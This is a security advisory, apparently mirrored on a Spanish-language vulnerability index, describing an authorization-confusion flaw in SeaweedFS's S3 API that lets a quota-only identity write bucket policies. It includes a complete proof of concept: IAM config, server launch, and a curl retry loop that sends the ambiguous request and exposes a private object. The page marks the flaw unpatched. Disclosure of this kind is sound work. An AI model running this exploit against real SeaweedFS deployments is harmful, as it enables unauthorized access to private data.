GHSA-RRPR-XM76-WW37
S3 bucket-quota permission can authorize bucket-policy modification
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-RRPR-XM76-WW37 divulgada · CVSS 8.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A high-severity authorization-confusion vulnerability in SeaweedFS allows an S3 identity with only `s3:PutBucketQuota` permission to write an arbitrary bucket policy.
By combining the `policy` and `seaweedfs-quota` query subresources, authorization can be performed against `s3:PutBucketQuota` while the request is routed to `PutBucketPolicyHandler`. The validated exploit changed a private bucket's policy and exposed a private object to an unauthenticated user.
The issue was confirmed on SeaweedFS 4.47, commit `c5073360007d28385a33426a42ac3e4ec504c5a3`, and master commit `7643f4f5417680678de7529fd148f6099199db2c`.
Suggested severity: High, CVSS 3.1 8.1 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`).
Details
SeaweedFS uses separate data structures for request validation, IAM action resolution, and HTTP routing.
First, `operationSubresources` is intended to reject requests containing multiple operation-selecting query parameters. It contains `policy` but omits `seaweedfs-quota`:
https://github.com/seaweedfs/seaweedfs/blob/7643f4f5417680678de7529fd148f6099199db2c/weed/s3api/s3api_path_validation.go#L42-L70
Consequently, the following request is not rejected as ambiguous:
PUT /bucket?policy=&seaweedfs-quota=Second, both query parameters appear in `bucketQueryActions`:
https://github.com/seaweedfs/seaweedfs/blob/7643f4f5417680678de7529fd148f6099199db2c/weed/s3api/s3_action_resolver.go#L71-L124
The resolver iterates this Go map and returns the action associated with the first matching query parameter:
https://github.com/seaweedfs/seaweedfs/blob/7643f4f5417680678de7529fd148f6099199db2c/weed/s3api/s3_action_resolver.go#L226-L235
Because Go map iteration order is unspecified, the combined request can be authorized as either `s3:PutBucketPolicy` or `s3:PutBucketQuota`.
Finally, the bucket-policy route is registered before the bucket-quota route:
https://github.com/seaweedfs/seaweedfs/blob/7643f4f5417680678de7529fd148f6099199db2c/weed/s3api/s3api_server.go#L928-L933
https://github.com/seaweedfs/seaweedfs/blob/7643f4f5417680678de7529fd148f6099199db2c/weed/s3api/s3api_server.go#L1023-L1028
Both routes match the combined query, but Gorilla mux selects the earlier `policy` route. When IAM resolves the request as `s3:PutBucketQuota`, a quota-only identity passes authorization while `PutBucketPolicyHandler` executes.
This violates the security invariant that the operation authorized by IAM must be the same operation selected by the router.
PoC
Requirements
- SeaweedFS 4.47 or master commit `7643f4f5417680678de7529fd148f6099199db2c`
- `curl` with `--aws-sigv4` support
- `jq`
- A fresh, local data directory
The complete asserted PoC is included in `poc/poc.sh`. It records response bodies and exits nonzero if a control or exploit assertion fails.
Configuration
Save the following as `iam-config.json`. The attacker has only quota get/set permission on the test bucket. Advanced IAM is configured with default deny.
{"identities":[{"name":"research-admin","credentials":[{"accessKey":"SWFS001ADMINKEY","secretKey":"SWFS001AdminSecretKeyLocalOnly"}],"actions":["Admin"]},{"name":"quota-operator","credentials":[{"accessKey":"SWFS001QUOTAKEY","secretKey":"SWFS001QuotaSecretKeyLocalOnly"}],"policyNames":["QuotaOnly"]}],"sts":{"issuer":"swfs001-local-research","signingKey":"U1dGUzAwMUxPQ0FMU0lHTklOR0tFWVNVUEBMSUVET05MWQ==","tokenDuration":"1h","maxSessionLength":"12h"},"policy":{"defaultEffect":"Deny","storeType":"memory"},"policies":[{"name":"QuotaOnly","document":{"Version":"2012-10-17","Statement":[{"Sid":"QuotaOnlyBoundary","Effect":"Allow","Action":["s3:PutBucketQuota","s3:GetBucketQuota"],"Resource":["arn:aws:s3:::swfs001-private"]}]}}],"roles":[],"providers":[]}Start SeaweedFS in a researcher-controlled, loopback-only deployment:
mkdir -p /tmp/swfs001-data
/path/to/weed server -dir=/tmp/swfs001-data -ip=127.0.0.1 -master.port=19333 -volume.port=18080 -filer.port=18888 -s3 -s3.port=18333 -s3.config="$PWD/iam-config.json" -s3.iam.config="$PWD/iam-config.json" -filer -volume.max=1 -master.volumeSizeLimitMB=100Save the policy payload as `public-read-policy.json`:
{"Version":"2012-10-17","Statement":[{"Sid":"SWFS001_UNAUTHORIZED_POLICY_WRITE","Effect":"Allow","Principal":"*","Action":"s3:GetObject","Resource":"arn:aws:s3:::swfs001-private/PRIVATE_MARKER.txt"}]}In a second terminal, set the test values:
ENDPOINT=http://127.0.0.1:18333
BUCKET=swfs001-private
ADMIN_ACCESS=SWFS001ADMINKEY
ADMIN_SECRET=SWFS001AdminSecretKeyLocalOnly
ATTACKER_ACCESS=SWFS001QUOTAKEY
ATTACKER_SECRET=SWFS001QuotaSecretKeyLocalOnly
printf 'SWFS001_PRIVATE_MARKER_4C81A\n' > marker.txt
printf '{"quota_size":104857600,"quota_unit":"B","quota_enabled":true}\n' > quota.json
touch emptyCreate the bucket and private marker as the administrator:
curl --aws-sigv4 aws:amz:us-east-1:s3 --user "$ADMIN_ACCESS:$ADMIN_SECRET" -X PUT --data-binary @empty "$ENDPOINT/$BUCKET"
curl --aws-sigv4 aws:amz:us-east-1:s3 --user "$ADMIN_ACCESS:$ADMIN_SECRET" -X PUT --data-binary @marker.txt "$ENDPOINT/$BUCKET/PRIVATE_MARKER.txt"Verify that anonymous access is denied. The expected status is HTTP 403:
curl -o /dev/null -w '%{http_code}\n' "$ENDPOINT/$BUCKET/PRIVATE_MARKER.txt"Verify that the quota identity cannot directly modify the bucket policy. The expected status is HTTP 403:
curl --aws-sigv4 aws:amz:us-east-1:s3 --user "$ATTACKER_ACCESS:$ATTACKER_SECRET" -X PUT -H 'Content-Type: application/json' --data-binary @public-read-policy.json -o direct-policy-response.txt -w '%{http_code}\n' "$ENDPOINT/$BUCKET?policy="Verify that the quota identity can perform its intended operation. The expected status is HTTP 204:
curl --aws-sigv4 aws:amz:us-east-1:s3 --user "$ATTACKER_ACCESS:$ATTACKER_SECRET" -X PUT -H 'Content-Type: application/json' --data-binary @quota.json -o quota-response.txt -w '%{http_code}\n' "$ENDPOINT/$BUCKET?seaweedfs-quota="Send the ambiguous request. Retrying is required because action selection depends on Go map iteration:
for attempt in $(seq 1 64); do status=$(curl --silent --show-error --aws-sigv4 aws:amz:us-east-1:s3 --user "$ATTACKER_ACCESS:$ATTACKER_SECRET" -X PUT -H 'Content-Type: application/json' --data-binary @public-read-policy.json -o "exploit-$attempt.txt" -w '%{http_code}' "$ENDPOINT/$BUCKET?policy=&seaweedfs-quota="); printf 'attempt %d: HTTP %s\n' "$attempt" "$status"; if [ "$status" = 204 ]; then break; fi; doneDuring validation, exploitation succeeded on attempt 2 against release 4.47 and attempt 1 against master.
Read the policy back as administrator and verify the `SWFS001_UNAUTHORIZED_POLICY_WRITE` statement is present:
curl --aws-sigv4 aws:amz:us-east-1:s3 --user "$ADMIN_ACCESS:$ADMIN_SECRET" "$ENDPOINT/$BUCKET?policy=" | jq .Repeat the unauthenticated object request:
curl -i "$ENDPOINT/$BUCKET/PRIVATE_MARKER.txt"The request now returns HTTP 200 with the private marker:
SWFS001_PRIVATE_MARKER_4C81A
This demonstrates that the quota-only attacker installed a bucket policy and exposed an object that was previously inaccessible anonymously.
Impact
This is an incorrect-authorization vulnerability classified as CWE-863.
Affected deployments are those that expose the SeaweedFS S3 API and grant an identity the dedicated `s3:PutBucketQuota` permission without intending to grant bucket-policy administration.
The attacker requires valid SigV4 credentials with quota-write permission on the target bucket. The attacker does not require `s3:PutBucketPolicy`, object access, administrative credentials, internal SeaweedFS API access, or host access.
Successful exploitation allows the attacker to install an arbitrary policy on a bucket for which they have quota permission. The demonstrated policy made a private object publicly readable. An attacker could use policy control to grant unauthorized principals access to other protected bucket data or otherwise change the bucket's authorization boundary.
Confidentiality and integrity impact are high. Availability impact was not demonstrated or claimed.
Scripts used & Proofs
PoC script :
poc.sh https://github.com/user-attachments/files/32446739/poc.sh
Environment:
<img width="882" height="531" alt="image" src="https://github.com/user-attachments/assets/2905e057-4933-4e2b-a071-a77521c3c57c" />
Control denied:
<img width="480" height="273" alt="image" src="https://github.com/user-attachments/assets/12d75ddb-8874-4fd3-9c6b-e776f370b6c3" />
Exploit:
<img width="500" height="266" alt="image" src="https://github.com/user-attachments/assets/f81228fa-73c4-42c5-b81c-99008a1ccbba" />
Result:
<img width="566" height="307" alt="image" src="https://github.com/user-attachments/assets/fbf20f31-9164-4acb-8526-7e88fc87b1e4" />
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
4.47Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-rrpr-xm76-ww37Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
